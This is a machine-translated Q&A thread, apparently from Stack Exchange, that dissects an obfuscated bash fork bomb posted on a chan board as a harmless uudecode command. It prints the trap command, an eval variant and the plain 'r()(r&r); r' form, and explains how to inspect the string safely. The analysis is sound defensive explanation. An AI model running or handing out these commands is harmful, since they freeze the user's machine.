echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
以某种方式运行此操作将导致无限的生成过程,该过程猖ramp运行并将机器粉碎至停止状态。我看到有关“ su”的尝试多次执行的信息。
..这很奇怪,因为我只希望输出文本,而不执行任何内容。
通过在线解码器运行此文本只会给我带来一系列二进制错误:
这段文本实际上是做什么的,有什么办法可以“安全”地查看它?
#1 楼
首先,让我们看一下整个命令:echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
它包含一个双引号字符串,该字符串被回显到
uudecode
。但是,请注意,在双引号字符串内是一个反引号字符串。该字符串被执行。该字符串是:`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
如果查看其中的内容,我们会看到三个命令:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
在中间命令上执行花括号扩展,我们有:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
第一行尝试在后台运行废话命令。这并不重要。
第二行很重要:它定义了一个函数
r
,该函数在运行时会启动其自身的两个副本。当然,这些副本中的每一个都会推出另外两个副本。等等。 第三行运行
r
,启动前叉炸弹。其余代码(在反引号引起的字符串之外)只是胡说八道。
如何安全地运行命令
如果对函数嵌套级别设置限制,则可以安全地运行此代码。这可以通过bash的
FUNCNEST
变量来完成。在这里,我们将其设置为2
,这将停止递归:$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
以上错误消息表明(a)找不到废话命令
rYWdl
和Y29j
,( b)叉炸弹被FUNCNEST反复停止,并且(c)echo
的输出不是以begin
开头,因此对于uudecode
无效。最简单形式的叉弹
如果消除了遮盖,叉形炸弹会是什么样?正如njzk2和gerrit所建议的那样,它看起来像:
echo "`r()(r&r);r`"
我们可以进一步简化:
r()(r&r); r
其中包含两个语句:一个定义了fork-bomb-function
r
,第二个运行了r
。所有其他代码,包括通往uudecode
的管道,都只是为了掩盖和误导。 原始表单还有另外一层误导
OP提供了指向该代码出现的渠道委员会讨论的链接。如此处所示,代码看起来像:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
注意关于此代码的第一批评论之一:
我跌倒了为了它。仅复制了回声和解码的部分,但仍然
被束缚了
在通道板上的表单中,人们会天真地认为问题可能出在
eval
语句的操作上在uudecode
的输出上。这会使人们认为删除eval
可以解决问题。正如我们在上面看到的那样,这是错误的,也是危险的。评论
vious回我从没想过要在回显字符串的中间考虑shell遍历/扩展。
–卡鲁
2015年11月6日在7:12
我认为最好注意到uudecode在这里完全不相关。有一会儿我以为uudecode正在执行带引号的字符串插值,这从根本上来说是不安全的,但是fork炸弹是在uudecode完全启动之前发生的。
– Gerrit
2015年11月6日,11:22
...女士们,先生们,这就是为什么shell脚本的安全性是如此之难。甚至看起来完全无害的东西也会杀死您。 (想象一下这是否是用户从某处输入的信息...)
–数学兰花
2015年11月6日14:03
@MathematicalOrchid实际上,要使用户输入到Shell脚本中的带引号的内容得到执行,实际上需要花费很多精力。而且,如果您要根据用户输入来构建Shell脚本,则应该比将其用双引号引起来更好地了解。
–Random832
2015年11月6日14:40
@ njzk2您仍然需要在&那里:echo“`r()(r&r); r`”。
– Gerrit
2015年11月6日在16:17
#2 楼
要回答您问题的第二部分:...是否有办法“安全地”查看它?
对此进行化解字符串,
将外部双引号替换为单引号,并转义出现在字符串中的单引号。这样,shell将不会执行任何代码,实际上您会将所有内容直接传递给
uudecode
:$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line
注释中还指出了其他替代方法:
kasperd建议:
$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Jacob Krall建议使用文本编辑器,粘贴内容,然后将该文件传递给uudecode。
评论
或者:在命令行上键入uudecode。按回车。复制粘贴要解码的字符串。
–卡巴斯德
2015年11月6日14:16
另一种选择:使用文本编辑器将内容保存到文件中。用uudecode打开该文件。
–雅各布·克拉尔(Jacob Krall)
2015年11月6日14:32
多亏了这两者,我在答案中指出了这些替代方法。
– Gerrit
2015年11月6日14:51
确保先检查字符串是否不像echo“ foo`die`bar'die`'baz”!也就是说,如果其中包含,则用单引号替换引号是不够的。
– wchargin
2015年11月7日,下午1:36
#3 楼
乍一看,您可能会认为输出到Shell永远不会被执行。这仍然是事实。问题已经在输入中。这里的主要技巧是程序员称为运算符优先级。这是外壳程序尝试处理您的输入的顺序:1. " "
2. rYWdl
3. &
4. r()(Y29j&r{,3Rl7Ig}&r{,T31wo})
5. ;
6. r
7. ` `
8. I<RA('1E<W3t 26<F]F;==
9. echo
10. |
11. uudecode
通过执行其中的所有反引号命令来组成字符串。
通常未知命令,可能会导致某些输出,例如“ rYWdl”不是拼写错误,您可以使用command-not-found查找包含它的软件包……(取决于系统)
在后台执行2.。您将永远不会看到输出。
定义fork炸弹函数。
命令分隔符。
运行fork炸弹。
将6.的结果插入到String中。 (我们从来没有来过。)
错误是因为认为
echo
将是第一个要执行的命令,uudecode
是第二个要执行的命令。 结论:在外壳上双引号始终很危险。
评论
为什么“ su”被执行多次?一个忠告:不要从随机的chan板上运行代码,并且要感谢它只是一个叉子炸弹。
嘿。值得庆幸的是,我当时正在使用快照虚拟机,该虚拟机是专门为处理此类可能具有敌意的垃圾而设计的。
@Sebi-archive.rebeccablacktech.com/g/thread/45564403
shellcheck.net的作者Vidar Holen对此发表了一篇博客文章,他声称自己是这枚叉子炸弹的作者,并提供了一些背景信息。